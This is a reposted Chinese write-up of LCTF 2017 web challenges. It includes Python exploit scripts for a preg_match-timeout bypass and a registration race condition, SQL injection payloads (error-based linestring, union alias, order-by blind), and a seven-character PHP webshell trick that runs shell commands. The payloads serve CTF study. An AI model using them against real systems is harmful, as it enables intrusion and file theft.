分享web开发知识

注册/登录|最近发布|今日推荐

主页 IT知识网页技术软件开发前端开发代码编程运营维护技术分享教程案例
当前位置:首页 > 前端开发

LCTF-2017-web-wp(持续更新)

发布时间:2023-09-06 01:26责任编辑:沈小雨关键词:暂无标签

【1】萌萌哒报名系统

题目提示使用IDE开发的报名系统,大概使用的事phpstorm,使用工具扫了一下

我们发现存在.idea文件泄露,查看.idea/workspace.xml源码可以发现存在xdcms2333.zip

下载下来解压发现源码,这里我定位到几处关键代码:

//register.php$sth = $pdo->prepare(‘INSERT INTO users (username, password) VALUES (:username, :password)‘);$sth->execute([‘:username‘ => $username, ‘:password‘ => $password]); preg_match(‘/^(xdsec)((?:###|*))$/i‘, $code, $matches);if (count($matches) === 3 && $admin === $matches[0]) { ???$sth = $pdo->prepare(‘INSERT INTO identities (username, identity) VALUES (:username, :identity)‘); ???$sth->execute([‘:username‘ => $username, ‘:identity‘ => $matches[1]]);} else { ???$sth = $pdo->prepare(‘INSERT INTO identities (username, identity) VALUES (:username, "GUEST")‘); ???$sth->execute([‘:username‘ => $username]);}

  

//login.php$sth = $pdo->prepare(‘SELECT password FROM users WHERE username = :username‘);$sth->execute([‘:username‘ => $username]);if ($sth->fetch()[0] !== $password) { ???die(‘wrong password‘);}$_SESSION[‘username‘] = $username;unset($_SESSION[‘is_logined‘]);unset($_SESSION[‘is_guest‘]);

  

/member.phpif (isset($_SESSION[‘username‘]) === false) { ???die(‘please login first‘);}$sth = $pdo->prepare(‘SELECT identity FROM identities WHERE username = :username‘);$sth->execute([‘:username‘ => $_SESSION[‘username‘]]);if ($sth->fetch()[0] === ‘GUEST‘) { ???$_SESSION[‘is_guest‘] = true;} 。$_SESSION[‘is_logined‘] = true;if (isset($_SESSION[‘is_logined‘]) === false || isset($_SESSION[‘is_guest‘]) === true) { ???}else{ ???if(isset($_GET[‘file‘])===false) ???????echo "None"; ???elseif(is_file($_GET[‘file‘])) ???????echo "you cannot give me a file"; ???else ???????readfile($_GET[‘file‘]);}

  我们很容易发现对账号密码的验证和对身份的验证是分开的,member中关于identity的验证是查询成功取出数据。并且

$sth->fetch()[0] === ‘GUEST‘

  所以即使没有查询成功也可以绕过验证。

破题重点在在于

preg_match(‘/^(xdsec)((?:###|*))$/i‘, $code, $matches);

  这里的preg_match存在贪婪匹配,那么我们可以喂给它一个超长的字符串让它去吃,导致pre_match消耗大量资源从而导致php超时,后面的php语句就不会执行。这样便是绕过了第一层。

第二层利用伪协议就可以绕过php的is_file,然后读取本目录下的config.php即可得到flag。贴上本人的一个py脚本:

#coding:utf-8#auther:ur10serimport ?requestsurl = ‘http://123.206.120.239/‘log = ‘login.php‘reg = ‘register.php‘s = requests.session()headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7", ?????????"Content-Type": "application/x-www-form-urlencoded"}data = { ???‘to‘:‘reg‘, ???‘did‘:‘0‘, ???‘username‘:‘ur10ser‘, ???‘password‘:‘ur10ser‘, ???‘code‘:‘xdsec###‘+‘AAA‘*50000}data1 = { ???‘to‘:‘log‘, ???‘username‘:‘ur10ser‘, ???‘password‘:‘ur10ser‘}url1 = url+regurl2 = url+logs.post(url1,headers=headers,data=data)print ‘[+]注册成功!‘s.post(url2,data=data1)print ‘[+]登录成功!‘r = s.get(‘http://123.206.120.239/member.php?file=php://filter/resource=config.php‘)print r.content

  运行结果

下面再来讲讲这题的非预期解——条件竞争。

因为身份验证是用

if ($sth->fetch()[0] === ‘GUEST‘)

的那么如果在identities表中没有username这一行数据,那么取出来$sth->fetch()[0]结果就是null,还是可以绕过第一层,所以可以用python多线程注册用户,在

$sth = $pdo->prepare(‘INSERT INTO identities (username, identity) VALUES (:username, :identity)‘);

语句执行之前登陆上去就可以绕过第一层。

下面贴上Au1ge师傅给的条件竞争脚本

#!/usr/bin/python# -*- coding: utf-8 -*-import requestsimport reimport uuidimport threadingurl = "http://123.206.120.239/register.php"url1 = "http://123.206.120.239/login.php"url2 = "http://123.206.120.239/index.php"url3 = "http://123.206.120.239/member.php?file=php://filter/resource=config.php"username = ""session = ""proxies={ ???‘http‘:‘http://127.0.0.1:8080‘}def sess(): ???r = requests.get(url1) ???m = re.search(‘PHPSESSID=(.*?);‘,r.headers[‘Set-Cookie‘]) ???if m: ???????return str(m.group(1))def regist(): ???global username,session ???while True: ???????data = { ???????????‘to‘:‘reg‘, ???????????‘username‘ : username, ???????????‘password‘ : ‘1‘, ???????????‘code‘:‘xdsec‘+‘###‘*5000 ???????} ???????cookie = { ???????????‘PHPSESSID‘ : session ???????} ???????r = requests.post(url, data=data, cookies=cookie,stream=True)def login(): ???global username,session ???while True: ???????data1 = { ???????????‘username‘ : username, ???????????‘password‘ : ‘1‘, ???????????‘to‘ : ‘log‘ ???????} ???????cookie1 = { ???????????‘PHPSESSID‘ : session ???????} ???????r1 = requests.post(url1, data=data1, cookies=cookie1) ???????content = r1.content ???????if ‘None‘ in content: ???????????print content ???????????print "login: " + username + ‘-‘ + session ???????# print r1.text ???????# return ???????username = str(uuid.uuid4())[:16] ???????session = sess()def read(): ???global username,session ???while True: ???????cookie2 = { ???????????‘PHPSESSID‘ : session ???????} ???????r=requests.get(url3,cookies=cookie2) ???????if ‘php‘ in r.text: ???????????print r.textusername = str(uuid.uuid4())[:16]session = sess()def main(): ???threadpool=[] ???for n in xrange(10): ???????th = threading.Thread(target=login) ???????th.setDaemon(True) ???????threadpool.append(th) ???for n in xrange(10): ???????th = threading.Thread(target=regist) ???????th.setDaemon(True) ???????threadpool.append(th) ???for n in xrange(10): ???????th = threading.Thread(target=read) ???????th.setDaemon(True) ???????threadpool.append(th) ???for th in threadpool: ???????th.start() ???for th in threadpool : ???????threading.Thread.join(th)if __name__ == ‘__main__‘: ???main()

反思:一开始是在bp构造一个超级长的字符串去喂给preg_match,还有bp坚强没有卡死。。后面看有师傅利用bp的Intruder。具体操作是

1.burpsuite Intruder无限POST login.php进行登录操作2.burpsuite Intruder无限GET member.php3.在前面两个都在跑的情况下注册一个账号

三个操作的cookie必须相同,1和3中的账号密码要相同,这样在注册的同时就完成了登录操作并且访问了member并绕过身份检测可以执行下一部分代码。可以使用

?file=./x/../config.php

  读取任意文件。

【2】他们有什么秘密呢

做这道题真的是思维僵化,感觉自己平时学的太傻了,不知道举一反三 - -!。

题目提示

1.entrance.php2.There is no need to scan and brute force!3.Hacking for fun!

  进入entrance.php测试发现存在sql注入,但是schema,information,column之类能爆库名列名字段的的都被过滤了,但是出题人不可能让你去爆破这些名字。

轻松拿到库名。很容易想到使用报错注入,参考https://dev.mysql.com/doc/refman/5.5/en/func-op-summary-ref.html。fuzz下发现

multiPolygon(id) multilinestring(id) linestring(id) GeometryCollection(id) MultiPoint(id) polugon(id)

  这些函数可以用来报错注入,一个个试了下之后发现只有linestring(id)可以用。我们可以用它爆表名,提交pro_id=1 and linestring(pro_id)

接下来想办法拿到product_2017ctf的字段名,

pro_id=1 union select * from (select * from product_2017ctf as A join product_2017ctf as B using(pro_name)) as C
得到下一列pro_name,继续报错
pro_id=0 and (select * from (select * from youcanneverfindme17.product_2017ctf a join youcanneverfindme17.product_2017ctf b using (pro_id,pro_name))c)
继续得到owner
最后得到d067a0fa9dc61a6e

这里d067a0fa9dc61a6e被过滤了,有两个办法

【1】想要在不出现字段名的情况下查出内容,将一个虚拟表和当前表联合起来即可,payload:

pro_id=-1 union select 1,a.4,3,4 from (select 1,2,3,4 from dual union select * from product_2017ctf)a limit 3,1;

  【2】使用order by盲注,这里我引用p牛的脚本,order by盲注具体的可以自行百度。

# -*- coding:utf8 -*-__author__=‘pcat@chamd5.org‘ import requestsimport timeimport string def foo(): ???url=r‘http://182.254.246.93/entrance.php‘ ???mys=requests.session() ???x="3 union distinct select 1,2,3,0x%s ?order by 4 desc" ???cset=string.maketrans(‘‘,‘‘)[33:127] ???pwd=‘‘ ???while True: ???????try: ???????????for i in cset: ???????????????myd={‘pro_id‘:x %(pwd+i).encode(‘hex‘)} ???????????????res=mys.post(url,data=myd).content ???????????????if ‘nextentrance‘ not in res: ???????????????????pwd+=chr(ord(i)-1) ???????????????????print pwd ???????????????????break ???????????????pass ???????????time.sleep(0.01) ???????except: ???????????print ‘_ _‘ ???????????time.sleep(0.5) ???????pass ????pass if __name__ == ‘__main__‘: ???foo() ???print ‘ok‘

  结合tip我们拿到了下一个入口的地址

发现content被限制在了7个字符之类,而且不是简单的前段限制。

文件名 ???内容bash ?????随意bb ???????7个字符内的命令z.php ????<?=`*`;

  z.php中的<?=‘*‘;刚好七个字符,访问后能把当前目录下的所有文件按字母顺序列出,然后执行。传好上面3个文件后,当前文件夹就有4个文件了,按字母排序如下

bash bb index.html(题目本来就有的) z.php

  访问z.php后,相当于执行了bash bb index.php z.php

bb的内容分别为ls /和cat  /3*

其实也可以getshell,但是有没有觉得这个方法简单一点。有道原题分析的很清楚http://www.vuln.cn/6016

LCTF-2017-web-wp(持续更新)

原文地址:http://www.cnblogs.com/ur10ser/p/7875473.html

知识推荐

我的编程学习网——分享web前端后端开发技术知识。 垃圾信息处理邮箱 tousu563@163.com 网站地图
icp备案号 闽ICP备2023006418号-8 不良信息举报平台 互联网安全管理备案 Copyright 2023 www.wodecom.cn All Rights Reserved